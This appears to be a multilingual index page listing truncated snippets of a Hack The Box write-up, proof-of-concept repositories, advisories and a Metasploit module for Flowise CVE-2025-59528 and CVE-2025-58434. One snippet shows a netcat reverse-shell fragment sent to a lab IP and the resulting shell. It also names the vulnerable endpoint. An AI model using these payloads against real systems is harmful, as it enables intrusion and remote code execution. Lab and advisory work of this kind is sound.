HTB-Silentium-Writeup

HTB - Writeup di Silentium Informazioni sulla macchina Nome: Silentium OS: Linux Difficoltà: Facile CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 Enumerazione Scansione Nmap root@kitploit: nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt Porte aperte: 22 SSH, 80 HTTP Host...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Esecuzione di codice in remoto PoC Una proof of concept in Go per CVE-2025-59528 che mira alle versioni di Flowise = 3.0.5. Riepilogo Flowise consente l'esecuzione di JavaScript non convalidato tramite la configurazione del nodo CustomMCP. L'applicazione passa...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Catena di exploit per due vulnerabilità che interessano Flowise = 3.0.5. Vulnerabilità CVE-2025-58434 — Acquisizione Account Non Autenticata L'endpoint di recupero password restituisce un token valido per il reset della password nella risposta API senza richiedere...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Panoramica Questo repository contiene una prova di concetto che dimostra CVE-2025-59528 in Flowise v3.0.5. La vulnerabilità è presente nel nodo customMCP, dove l'input mcpServerConfig fornito dall'utente viene elaborato in un modo che porta...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Python-Proof-of-Concept-Skript zum Auslösen des Flowise-CustomMCP-RCE-Pfads über POST /api/v1/node-load-method/customMCP. ⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC di RCE autenticato per Flowise versione &1|nc 10.10.15.200 443 /tmp/f' Controlla il listener e dovrebbe funzionare: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control...

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 — تنفيذ التعليمات البرمجية عن بُعد RCE المُصادق عليه في Flowise AI نظرة عامة معرف CVE: CVE-2025-59528 البرنامج المتأثر: Flowise AI الإصدارات المعرضة للخطر: = 3.0.4 الإصدار المُصحح: 3.0.5 وما بعده الخطورة: حرجة المؤلف: r3nsi15 التاريخ: 2025 الوصف تسمح إصدارات Flowise AI حتى الإصدار...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 und 3.0.6 Überblick Eine kritische Remote-Code-Execution-Schwachstelle im CustomMCP-Knoten von FlowiseAI Flowise. Die Funktion convertToValidJSONString übergibt...

Flowise-CVE-2025-58434-Chain-59528

Catena CVE di FlowiseAI - ATO CVE-2025-58434 e RCE CVE-2025-59528 ⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza permesso scritto è illegale. Indice dei contenuti Questo repository contiene un proof-of-concep...

CVE-2025-59528-PoC

CVE-2025-59528 PoC zu Bildungszwecken Nur zu Bildungszwecken. Dieses Projekt ist für kontrollierte Sicherheitsforschung, Demonstrationen im Unterricht und autorisierte Tests in einer isolierten Laborumgebung vorgesehen. Verwenden Sie es nicht gegen Systeme, Netzwerke, Anwendungen oder Konten, die...

Flowise MCP Server Remote Code Execution

Flowise versions from 2.2.7 prior to 3.1.2 are vulnerable to remote code execution through the Custom MCP Model Context Protocol node configuration. The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint, which accepts arbitrary command and argument configurations for MCP...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Exploit for Code Injection in Flowiseai Flowise

Version francaise CVE-2025-59528 Proof of Con...

📄 Flowise 3.0.6 JS Parsing Injection

A JavaScript parsing injection vulnerability exists in Flowise versions prior to 3.0.6 and greater than 2.2.7-patch.1. ============================================================================================================================================= | Title : Flowise 3.0.6 JS Parsing...

📄 Flowise 3.0.4 Code Injection

Flowise versions 3.0.4 and below suffer from a remote command injection vulnerability. ============================================================================================================================================= | Title : Flowise 3.0.4 php code injection | | Author : indoushka | ...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise Custom MCP Remote Code Execution

This module exploits a remote code execution vulnerability in Flowise versions = 2.2.7-patch.1 and use exploit/multi/http/flowise/custommcprce msf undefinedcustommcprce show actions ...actions... msf undefinedcustommcprce set ACTION msf undefinedcustommcprce show options ...show and set options...